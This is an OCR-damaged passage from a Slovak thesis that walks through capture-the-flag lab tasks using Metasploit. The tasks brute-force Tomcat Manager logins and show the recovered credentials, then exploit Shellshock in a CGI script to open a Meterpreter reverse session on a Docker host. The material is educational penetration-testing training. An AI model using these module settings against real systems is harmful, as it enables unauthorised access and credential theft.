utocnikovi ziskat pristup[18].

Cielom tejto tlohy je vyskusat si brute-force tutok (tGtok hrubou
silou pomocou Metasploit konzoly) na prihlasovanie do sluzby Tomcat
Application Manager.

Oficidlne zadanie tlohy: Dobra praca! UZ si majstrom crawlingu.
Teraz skusime nieco taZsie. Tvoj $éf vie, Ze ma vo firme aj ,hlapych”
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zamestnancov. Vies mu pomoct zistit heslo pre pouZzivatela dumb?

Vie len jeho prihlasovacie meno, a to, Ze uZzivatel pracuje so sluzbou

tomcat. To je vSetko a je to uz len na tebe, ako si s tym poradis.
Vlajkou pre tiito tlohu je heslo ,hlapeho” uZzivatela.

Rady:

e Aky druh dtoku pouzit -5 % bodov
Brute-force utok (atok hrubou silou)
e Co je zranitelné -25 % bodov
Sluzba Tomcat Manager

o Aky payload/exploit pouZit -40 % bodov
use auxiliary/scanner/http/tomcat_mgr_login
e Ako spravne nastavit hodnoty v module -20 % bodov

set USERNAME dumb
set RHOST ip_adresa

set RPORT port

Celé rieSenie:

Po vybrati sprdvneho modulu a presnych nastaveniach uvidime
nasledujtci vysledok: Vdaka tomuto vysledku vieme, Ze sa nam poda-
rilo ndjst viac hesiel pre r6znych uzivatelov - dumb, admin, manager,
rolel a root. RieSenim je heslo pre uZivatela dumb, takze vlajkou je
rolel.
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> set rhosts 88.99.14.33
set rport 3363

liary( > set username dumb
username == dumb
msf auxiliary( ) = run

LOGIN FAILED: dumb:admin (Incorrect)
LOGIN FAILED: dumb:manager (Incorrect)
LOGIN SUCCESSFUL: dum olel
LOGIN SUCCESSFUL: admin:admin
LOGIN FAILED: manager:admin (Incorrect)
LOGIN SUCCESSFUL: manager:manager
LOGIN FAILED: rolel:admin (Incorrect)
LOGIN FAILED: rolel:manager (Incorrect)
LOGIN FAILED: rolel:rolel (Incorrect)
LOGIN SUCCESSFUL: rolel:root
LOGIN FAILED: root:admin (Imcorrect)
LOGIN FAILED: root:manager (Incorrect)
LOGIN FAILED: root:rolel (Incorrect)
LOGIN FAILED: root:root (Incorrect)
LOGIN SUCCESSFUL: root:tomcat
LOGIN FAILED: tomcat:admin (Incorrect)
LOGIN FAILED: tomcat:manager (Incorrect)
LOGIN FAILED: tomcat:rolel (Incorrect)
LOGIN FAILED: tomcat:root (Incorrect)
LOGIN FAILED: tomcat:tomcat (Incorrect)
LOGIN FAILED: tomcat:s3cret (Incorrect)
LOGIN FAILED: tomcat:vagrant (Incorrect)
LOGIN FAILED: both:admin (Incorrect)
LOGIN FAILED: both:manager (Incorrect)
LOGIN FAILED: both:rolel (Imcorrect)
LOGIN FAILED: both:root (Incorrect)
LOGIN FAILED: both:tomcat (Incorrect)
LOGIN FAILED: both:s3cret (Incorrect)
LOGIN FAILED: both:wvagrant (Incorrect)
LOGIN FAILED: j2deployer:j2deployer (Incorrect)
LOGIN FAILED: ovwebusr:0vW*busrl (Incorrect)
LOGIN FAILED: cxsdk:kdsxc (Incorrect)
LOGIN FAILED: ADMIN:ADMIN (Incorrect)
LOGIN FAILED: xampp:xampp (Incorrect)
LOGIN FAILED: tomcat:s3cret (Incorrect)

. - LOGIN FAILED: QCC:QLogicé6 (Incorrect)

Scanned 1 of 1 hosts (100% complete)

Auxiliary module execution completed
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Obr. 5.17: Vysledok po spusteni modulu v tdlohe 5.

5.1.6 Ukryty v piesku

Nézov na Avatau: Hidden in the sand

Obtiaznost: jednoduché

Pocet bodov: 150/500

Vlajka pre tato alohu: nlceJOB

Zranitelnad sticast: Bash verzia 4.2 s povolenymi skriptami v zloZke
cgi-bin
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Pouzity modul: use exploit/multi/http /apache_mod_cgi_bash_env_exec

) > info

: Apache mod cgi Bash Environment Variable Code Injection (Shellshock
Module: exploit/multi/http/apache mod cgi bash env_exec
Platform:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: cellent
Disclosed: 2014-09-24

Provided by:
Stephane Chazelas
wvu <wvu@metasploit.com=>
juan vazquez <juan.vazquez@metasploit.com>
lcamtuf

Available targets:
d

ic options:
Current Setting Required Description

CMD MAX LENGTH 20848

CVE CVE-2014-6271 C! C pl

HEADER User-Agent q E use

METHOD GET /' HTTP method to use

Proxies A proxy chain of format type:host:port[,type:host:port][...]
RHOST y The target address

RPATH /bin / Target PATH for binaries used by the CmdStager

RPORT ae / The target port (TCP)

SRVHOST 0.0.8.8 / The local host to listen on. This must be an address on the local machin
or 8.0.0.8

SRVPORT 8880 y The local port to listen on.

SsL false Negotiate SSL/TLS for outgeing connections

SsLCert Path to a custom SSL certificate (default is randomly generated)
TARGETURI 1 Path te CGI script

TIMEOUT 5] / HTTP read response timeout (seconds)

URIPATH The URI to use for this exploit (default is random)

VHOST HTTP server virtual host

Payload information:
Space: 2048

Description:
This module exploits the Shellshock vulnerability, a flaw in how the
Bash shell handles external environment variables. This module
targets CGI scripts in the Apache web server by setting the
HTTP_USER_AGENT environment variable to a malicious functien
definition.

Obr. 5.18: Informacie o pouZitom module v tlohe 6.
Zranitelnosti:

CVE-2014-6271 Zranitelnost zndma aj pod ndzvom Shellshock, v kto-
rej je zranitelny velmi casto pouZivany Bash. Ovplyvnené verzie
st od 1.13 az po 4.3. Ked je Bash vykonavany pomocou Bashu,
povodné instancie moZu exportovat premenné prostredie a de-
finicie prostredi do novej instancie. Definicie funkcii st expor-
tované pomocou kédovania do listu premennych prostredi ako
premenné nasledované definiciou funkcie. Nové instancia Bashu
skenuje pri Starte jeho list premennych a prevadza ich naspét na
interné funkcie, tzv. funkcie za behu. Chybné verzie Bashu ne-
overujq, ¢i su tieto funkcie validné a tym umoZziiuja dtoénikovi
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vykonat Iubovolny prikaz. Zranitelné sticasti méZzu obsahovat
funkciu ForceCommand v ssh, mod_cgi a mod_cgid moduly
v Apache, skripty vykondvané nespecifikovanymi DHCP kli-
entmi[19].

CVE-2014-6278 Tato zranitelnost postihuje rovnako ako aj CVE-2014-
6271 Bash 1.13 az 4.3. Bash nespravne parsuje definicie funkcif
v premennych prostrediach. Tato zranitelnost existuje aj kvoli
netplnému fixu zranitelnosti CVE-2014-6271[20].

Cielom tejto dlohy je vyskus$at si vytvorenie session a pracu s
Meterpreterom. Na vytvorenie session sltizi zranitelnost Shellshock
pomocou skripty v cgi-bin zlozke.

Oficidlne zadanie tlohy: Tvoj $éf vyhodil , hltpehoiizivatela. Dobra
praca (samozrejme v pozitivnom zmysle ;-) ). Teraz nieco tazsie. Vo
firme kolujt klebety o nejakej zranitelnosti v systéme, akysi problém
s bashom. Vela systémov malo tento problém par rokov dozadu a nie-
ktoré ho majt stale. Mohol by si otestovat nas systém, ¢i je zranitelny?
Vo firemnych klebetdch sa spominal aj nejaky stbor s ndzvom vuln.

Rady:

e Akt zranitelnost testovat -30 % bodov
CVE-2014-6271

e Coje zranitelné -15 % bodov
cgi-bin skripty

e Aky modul pouZit -25 % bodov

use exploit/multi/http/
apache_mod_cgi_bash_env_exec

e Ako spravne nastavit hodnoty v module -20 % bodov

set TARGETURI /cgi-bin/vuln
set RHOST ip_adresa

set PAYLOAD 1linux/x64/shell/bind_tcp
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Celé rieenie: Ano, bola to zranitelnost shellshock a tento host bol
zranitelny. Po spravnych nastaveniach vsetkych atribtitov a spusteni
modulu méZeme badat spusteny Meterpreter, v ktorom vidime stbor
s ndzvom flag.

Po otvoreni tohto stiboru sa nam objavi text: nlce]0B, ¢o je v tomto
pripade vlajkou.

msf exploit( )} = set rhost 172.17.8.3

rhost => 172.17.8.3

msf exploit( ) > set targeturi /cgi-bin/vuln
targeturi => fcgi-bin/vuln

mst exploit(

Started reverse TCP handler on 10.8.2.15:

Command Stager progress - 100.608% done (8 bytes)

Transmitting intermediate stager for ove stage... (185 bytes)

Sending stage (1495599 bytes) to 172.17.8.

Meterpreter session 1 opened (18.0.2.15:4444 -> 172.17.8.3:45842) at 2018-085-08 17:43:40 +0100

meterpreter > s
L i /

B +0100
+0168 Lag
+018@ wuln

meterpreter = cat flag
nlcel@B

meterpreter > J|

Obr. 5.19: Vysledok po spusteni modulu v tlohe 6.
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5.1.7 Testovanie a problémy pri tvorbe tloh

Metasploit: 4.14.13-dev
Docker: 17.05.0-ce

msf = wversion

Framework: 4.14.13-dev

Console : 4.14.13-dev

msf = docker wversion
exec: docker version

Client:

Version: 17.85.08-ce

API version: 1.29

Go version: gol.7.5

Git commit: 89658be

Built: Thu May 4 22:89:86 2817

0S/Arch: linux/amd64

Server:
Version: 17.85.08-ce
API version: 1.29 (minimum version 1.12)
Go wversion: gol.7.5
Git commit: 89658be
Built: Thu May 4 22:89:86 2817
0S/Arch: linux/amd&4
Experimental: false
msf > [

Obr. 5.20: Informécie o pouzitych verzidch.

Vsetky tlohy boli vytvorené a testované s verziami programov
Docker a Metasploit, ktoré st uvedené vyssie.

Prvou fazou pri tvorbe tiloh bolo vyhladdvanie zranitelnosti, ktoré
st odlisné a dokdzu uzivatelovi ukazat zdkladné vlastnosti Metasp-
loitu. Dal$fm krokom bola aspoti ¢iasto¢na simuldcia jednoduchého
penetracného testu a obsiahnutie aspon zédkladov prvych faz tohto
testovania.

V dal3ej faze bolo vytvorenie Dockerfilu, ktory je bezproblémovo
spustitelny a dokaze komunikovat s Metasploitom tak, ako je plano-
vaneé.

Po tispesnom vytvoreni takéhoto stiboru som sa pokusala spustit
ho pomocou Dockeru a testovat jeho sprédvanie pocas aplikacie roz-
nych modulov Metasploitu. Ak bola tato cast tispesnd, uz stacilo iba
vymysliet pribeh, popis a rady pri rieSeni tlohy.

Po kompletnej priprave celej tlohy bolo potrebné vytvorit a nahrat
tato zlozku na github Avataa a ¢akat na vytvorenie tlohy priamo od
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tvorcov tejto platformy. Po tspeSnom mergnuti a spristupneni bola
na rade dalSia f4za, a to testovanie spustenej tilohy priamo z Avataa.
Pokial prebehlo vsetko bez problémov, tak bola préca hotov4, inak na-
sledovali dalsie tipravy, az kym nebolo vSetko funkéné a zrozumitelné,
¢o bolo cielom celej tvorby.

Pocas vytvérania takychto tiloh som sa stretla s viacerymi problé-
mami. Jednym z nich boli zranitelnosti, ktoré neboli ndjdené pomocou
roznych modulov a nastaveni v Metasploite. Niekde chybala urcita Spe-
cidlna konfigurdcia sluZieb pri ich instalovani alebo nastaveni, ktort sa
mi nepodarilo vytvorit pomocou prikazov pre Dockerfile. Dal§f prob-
1ém bol vo verzidch, v niektorych pripadoch nebolo jednoduché alebo
dokonca mozné néjst starSiu zranitelnti verziu, ktord by bola tispeSne
nainstalovand v dockerovom prostredi. Niektoré moduly dokonca
vykonali celt svoju précu, ale Zelany vysledok nebol dosiahnuty.

Okrem tychto implementacnych problémov boli dal$ie priamo s
Avataom a jeho politikou, alebo jeho moZnostami. V dobe vytvarania
tloh tim Avataa prave menil cely svoj systém pre tvorbu novych tloh, a
preto bolo potrebné pockat na jeho celt rekonstrukciu. Dokumentécia
tvorby tieZ chyba, a tak bolo potrebnych vela konzult4cii priamo s
tvorcami tejto platformy. Boli tistretovi a vzdy si nasli ¢as na pomoc
pri rieSeni problémov.

Po tspeSnom nahrati tloh na portal Avataa sa vyskytli problémy s
ich politikou, kde pri tlohe Ukryty v piesku (praca s Meterpreterom)
nebolo moZné dostat spatnt komunikéciu zo spusteného kontajnera,
pretoze bola striktne zakdzané kvoli moZnosti taZenia kryptomien, a
preto bola tato tloha skti8and roznymi inymi cestami. Dal$fm prob-
lémom bola aj tiloha niekde v hoste (pouZzivanie otvoreného SNMP
UDP portu), pretoze otvaranie UDP portov bolo este len vo vyvoji.

Velmi vela modulov Metasploitu bolo vytvorenych najméa voci
Windows hostom, ale Avatao zatial pontka pracu len s Linuxovymi
platformami a to Ubuntu (verzie 12.04, 14.04 a 16.04) a Debian (verzia
Buster). Na spristupneni platformy Windows sa zatial pracuje.

Kvoli licencidm bolo potrebné, aby bol zdkladny obraz Dockerfilu
pouzity z dockerhubu Avataa, preto museli byt niektoré tlohy upra-
vené, aby pouZivali jeden z tychto obrazov. Nastastie, Avatao pontika
predpripravené Dockerfily aj na pracu napriklad s LAMP (Linux, Apa-
che, MySQL a PHP), zdkladné kontroléry a dalSie. AvSak niektoré
z tychto stiborov mali problémy so sprdvou prav, niektoré pontkali
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len minimélnu instaldciu kvoli tspore pamate a chybali aj zdkladné
stcasti, ktoré museli byt ru¢ne doinstalované.
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Zaver

Cielom mojej diplomovej prace bolo zoznamit uzivatela s nastro-
jom Metasploit, ktory je velmi ¢asto pouzivany pri penetracnom testo-
vani. Vytvorit nan tutorial, popisat jeho sticasti a schopnosti. Okrem
tohto néstroja bolo taktiez cielom vytvorit 6 tloh pre platformu Avatao
a popisat proces tvorby a pouZzité néstroje.

V tvode prace som vysvetlila, ¢o penetra¢né testovanie vlastne je
a zamerala som sa hlavne na jeho fazy.

V dalSej casti som sa venovala Metasploitu, ktory tvori hlavnua
tému celej prace. Jeho historii, podnetom vzniku tohto néastroja, jeho
roznym formam a stcastiam, ako aj jednoduchym zdkladom, na ktoré
som dalej nadviazala v nasledujticej kapitole.

Metasploit konzola je najcastejsie pouzivané prevedenie Metasplo-
itu, a preto jej patri jedna cela kapitola. Vytvorila som v nej tutorial
na pouzivanie spominanej konzoly. Obsahuje preto popis skenovania,
tvorbu a pouZzivanie modulov, moZznosti, ako sa vyhnut detekcii antivi-
rusovymi programami a nie¢o mélo aj zo socidlneho inZinierstva. Tato
kapitola sa zameriava na popis hlavne nekomercnej verzie, preto st
niektoré postupy len nac¢rtnuté, napr. to, ¢o pontika Metasploit v pla-
tenom vydani. Okrem tohto popisu znacnu cast tvori aj problematika
prace v Meterpreteri, ktory vytvara nielen velmi dolezitd, ale jednu
z kltcovych sacasti Metasploitu, obsahujicu zakladné prikazy, ¢i uz
Metasploitu, alebo Meterpretra.

V nasledujtcej kapitole je podrobnejsie Specifikovany Docker, praca
s nim a moznost vytvarania virtualnych obrazov a kontajnerov pomo-
cou Dockefilov. TaktieZ st tu vypisané zdkladné prikazy na tvorbu
obrazov pomocou Dockerfilu a rovnako aj na ovladdanie celého Doc-
keru.

Poslednd kapitola obsahuje popis platformy Avatao, ndvod na
tvorbu tloh na tejto platforme a samozrejme aj k nej vytvorené tlohy.
Prakticka cast tejto prace - tllohy st tu popisané aj s ich rieSeniami,
radami a vSetkym ostatnym, ¢o je uvedené aj na strankach Avataa.
Posledna cast tejto kapitoly obsahuje spdsob testovania a tvorby celého
okruhu s ndzvom Zakladny tutoridl nastroja Metasploit. TaktieZ st v
nej spomenuté problémy, s ktorymi som sa pocas tohto procesu stretla.
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Tato praca obsahuje aj prilohy, a to inStaldciu nastrojov Docker a
Metasploit, a zaroven aj ukdzku ttoku na platformu Ubuntu.

Vsetky tdlohy boli prekonzultované a schvalené aj s Avatao timom
a st uvedené na ich stranke, kde si ich moZze uZzivatel spustit a zacat ich
riesit. Ulohy na Metasploit na ich strankach neboli doteraz vytvorené,
preto ich berti ako vyborny ndpad a cenny "prirastok'na ich platformu.
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A Ukazka exploitu na Ubuntu host

Disclosure Date Rank Description

i_bash_env normal Apache mod_cgi Bash Environment Var

normal DHCP Client Bash Envirenment variab

ttp/advantech switch bash env exec 8 2-0 excellent Advantech Switch Bash Environment V
ction (Shellshock

ttp/ipfire_bashbug_exec 2014-09 excellent IPFire Bash Environment Variable In
k)

jection (Shellsh
loit/multi/ftp/pureftpd_bash_env_ex
ash Environment Variable Cede Inj ion (Shellshock)
ttp/apache med cgi bash env exec
iable Code Injection (Shellshock)
exploit/multi/http/cups_bash_env_exec 2014-09-24 excellent CUPS Filter Bash Environment variab!
de Injection (Shellshock)

ellent Pure-FTPd External Authentication B

excellent Apache med cgi Bash Environment Var

excellent Legend Perl IRC Bot Remote Code Exe
excellent Xdh / LinuxNet Perlbot / fBot IRC B

/vmware_bash_function_root 2014 - normal 05 X VMWare Fusion Privilege Escala
ronment Code Injection (Shellshock)
ploit/unix/dhcp/bash_environment 2014-0 4 excellent Dhclient Bash Environment Variable
(Shellshock)

use exploit/multi/http/apache_mod_cgi_bash_env_exec
exploit( ) show options

Module options (exploit/multi/http/apache_mod_cgi_bash_env_e:
Current Setting Required Description

D_MAX_LENGTH 4 MD max line length
CVE 2 y CVE to check/exploit (Accepted: CVE-2014-6271, CVE-2 -6278)
HEADER User-Agent y HTTP header to use
METHOD GET y HTTP methed to use
Proxies A proxy chain of format type:host:port[,type:host:port][..
RHOST y The target address
RPATH /bi y Target PATH for binaries used by the CmdStager
RPORT 0 y The target port (TCP)
SRVHOST 0.0.0.0 y The local host to listen on. This must be an address on the 1
or 0.0.0.8
SRVPORT 880 The local port to listen on.
SSL : Negotiate SSL/TLS for outgoing connections
SsLCert Path to a custom SSL certificate (default is randomly generated)
TARGETURI y Path to CGI script
TIMEOUT y HTTP read response timeout (seconds)
URIPATH The URI te use for this expleit (default is random)
VHOST HTTP server virtual host

Obr. A.1: Spustenie exploitu na Ubuntu host.
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A. UkAZkA EXPLOITU NA UBUNTU HOST

msf exploit( } > set rhost 172

msf expli ) > set targeturi /cgi-bin/vuln

targeturi

msf exploitl( )} > show payloads

Compatible P:

étérpreter.«’bind_ipvﬁ_ cp

eterpreter/bind ipv6 tcp wuid
inux x86)

_reverse_t
ind_ipw6_tcp

86)
linu

X /mettle/bind_ipw6_tcp_uuid
D Support (Linu: 6
lin

Disclosure Date Rank

Description

normal Custom Payload

normal G 6 Debug Trap
normal G mmand Shell, Bind TCP Inline
normal G Command Shell, Reverse TCP Inline

normal G x86 Tight
normal inux mod

normal i cute Command

normal i x Meterpreter,
normal inux Meterpreter,

normal i Meterpreter,
normal i Meterpreter,
normal inux Meterpreter,

normal inux Meterpreter,
normal inux Meterpreter,
normal inux Meterpreter,
normal i x Meterpreter,
normal i Meterpreter
normal inux Meterpreter
normal inux Mettle x86,

normal inux Mettle x86,

normal inux Mettle
normal i Mettle
normal i x Mettle x86,

normal inux Mettle x86
normal inux Mettle x86,
normal inux Mettle x86,
normal inux Mettle 6,
normal inux Read File

normal inux Command Shel

Loop

Bind IPv6 TCP Stager (Linux
Bind IPv6 TCP Stager with UU

Bind TCP Stager
Bind TCP Stager (Linux x86)
Bind TCP Stager with UUID Su

Reverse TCP Stager (IPv6)
Reverse TCP Stager
Reverse TCP Stager
Reverse TCP Stager

. Bind TCP
Service, Reverse TCP Inline
Bind IPv6 TCP Stager (Linux

Bind IPv6 TCP Stager with UUI

Bind TCP Stager
Bind TCP Stager (Linux x86)
Bind TCP Stager with UUID Sup

Reverse TCP Stager (IPv6)
Reverse TCP Stager
Reverse TCP Stager
Reverse TCP Stager

1, Bind IPv6 TCP Stager (Linu

Obr. A.2: Spustenie exploitu na Ubuntu host.
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A. UkAZkA EXPLOITU NA UBUNTU HOST

msf exploit( ) = run

Started reverse TCP handler on 172.17.0.1 4

Command Stager progress - 100.60% done (837/832 bytes)

Transmitting intermediate stager for over-sized stage...(185 bytes)

Sending stage (1495599 bytes) to 172.17.8.3

Meterpreter session 1 opened (172.17.8.1: 4 -> 172.17.0.3:46818) at 2018-85-09 16:28:82 +0180

meterpreter
Listin

Type Last modified

fil 18-85- 27:57 +0l00
fil 2018-04-05 17:47:01 +0100
100777/ rwxrwxrux fil 2018-84-05 16:01:55 +0100

meterpreter > exit
Shutting down Meterpreter...

172.17.08.3 - Meterpreter session 1 closed. Reason: User exit
msf exploitl ) > unset rhost
Unsetting rhost...
msf expleit( ) > show options

Module options (exploit/multi/http/apache mod cgi bash _env_ex

Name Current Setting Required

CMD_MAX_LENGTH )

CVE CVE-2014-6271 y c! ploit (Accepted: CVE-20 6271, CVE-2014-6278)
HEADER User-Agent y HTTP header to use

METHOD GET y HTTP method to use

Proxies A proxy chain of format type:host:port[,type:host:port][.

RHOST y The target address

RPATH /bin y Target PATH for binaries used by the CmdStager

RPORT 8o y The target port (TCP)

SRVHOST 0.0.0.8 y The local host to listen on. This must be an address on the local machi
or 0.0.0.0

SRVPORT 8088 1 port to listen on.

S5L false Negotiate SSL/TLS for outgoing connections

SSLCert Path to a i te (default is randomly generated)
TARGETURI /cgi-bin/vuln Path to CG i

TIMEOUT y HTTP read response timeout (seconds)

URIPATH The URI to use for this exploit (default is random)

VHOST HTTP server virtual host

Fa_vlad options (linux/x86/meterpreter/reverse_tcp):

Name Current Setting Required Description

DebugOptions © Debugging options fer POSIX meterpreter
LHOST 1 0. yes The listen address

LPORT 4444 yes The listen port

Obr. A.3: Spustenie exploitu na Ubuntu host.
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B InStalacia Metasploitu a Dockeru

B.1 Instaldcia Metasploit konzoly

Ako pri vdcSine néstrojov, aj pri Metasploite existuje viacero moz-
nosti instalacie.

Najjednoduchsi sposob instaldcie je stiahnutie z oficidlnej stranky
od Rapid7.

https://www.rapid7.com/products/metasploit/
download/

e Instaldcia na platformu Linux

Jedna z moZnosti je inStaldcia priamo z githubu, kde existuje
viac verzii. Ci uz obycajny metasploit framework, alebo verzia
Omnibus, ktora pontka aj no¢né updaty[21].

Pri instalacii z githubu st potrebné viaceré prerekvizity:

# apt-get install build-essential git ruby
bundler ruby-dev bison flex autoconf
automake

e InStaldcia pomocou terminalu

— Otvorenie terminalu
— Stiahnutie Metasploit programu

# curl https://raw.githubusercontent.com/
rapid7/metasploit -omnibus/master/
config/templates/metasploit-framework-
wrappers/msfupdate.erb > msfinstall

- Nastavenie prav

# chmod 755 msfinstall

- Spustenie inStalécie

# ./msfinstall
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B. InStALACIA METASPLOITU A DOCKERU

o InStaldcia na platformu Windows

Na instalaciu pre platformu Windows sa odportca stiahnutie
najnovsej verzie od Rapid7.

http://windows .metasploit.com/
metasploitframework-latest.msi

Po tspesnom stiahnuti je potrebné instala¢ny program spustit a

pokracovat podla instrukcii.

Pre nésledné spustenie Metasploit konzoly je potrebné zadat
prikaz[21]

# msfconsole.bat

e Instaldcia na platformu OS X
Na instalaciu pre platformu OS X sa odportca stiahnutie najnov-
Sej verzie od Rapid?.
http://osx.metasploit.com/
metasploitframework-latest.pkg
Po tspesnom stiahnuti je potrebné inStalacny program spustit a
pokracovat podla inStrukcii.

Pre nésledné spustenie Metasploit konzoly je potrebné zadat
prikaz rovnaky ako pri Linuxe[21]:

# msfconsole
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B. InStALACIA METASPLOITU A DOCKERU

B.2 Instalacia Dockeru

¢ Windows a OS X

Najjednoduchsi sposob pre platformy Windows a OS X je stia-
hnutie instala¢ného stboru z obchodu z oficidlnej stranky Doc-
keru[22].

Windows:

https://store.docker.com/editions/community/
docker -ce-desktop-windows

OS X:

https://store.docker.com/editions/community/
docker -ce-desktop -mac

¢ Linux Instal4cia na platformu Linux prebieha pomocou prika-
zov zadanych v termindli[22].

$ sudo apt-get update
$ sudo apt-get install docker-ce
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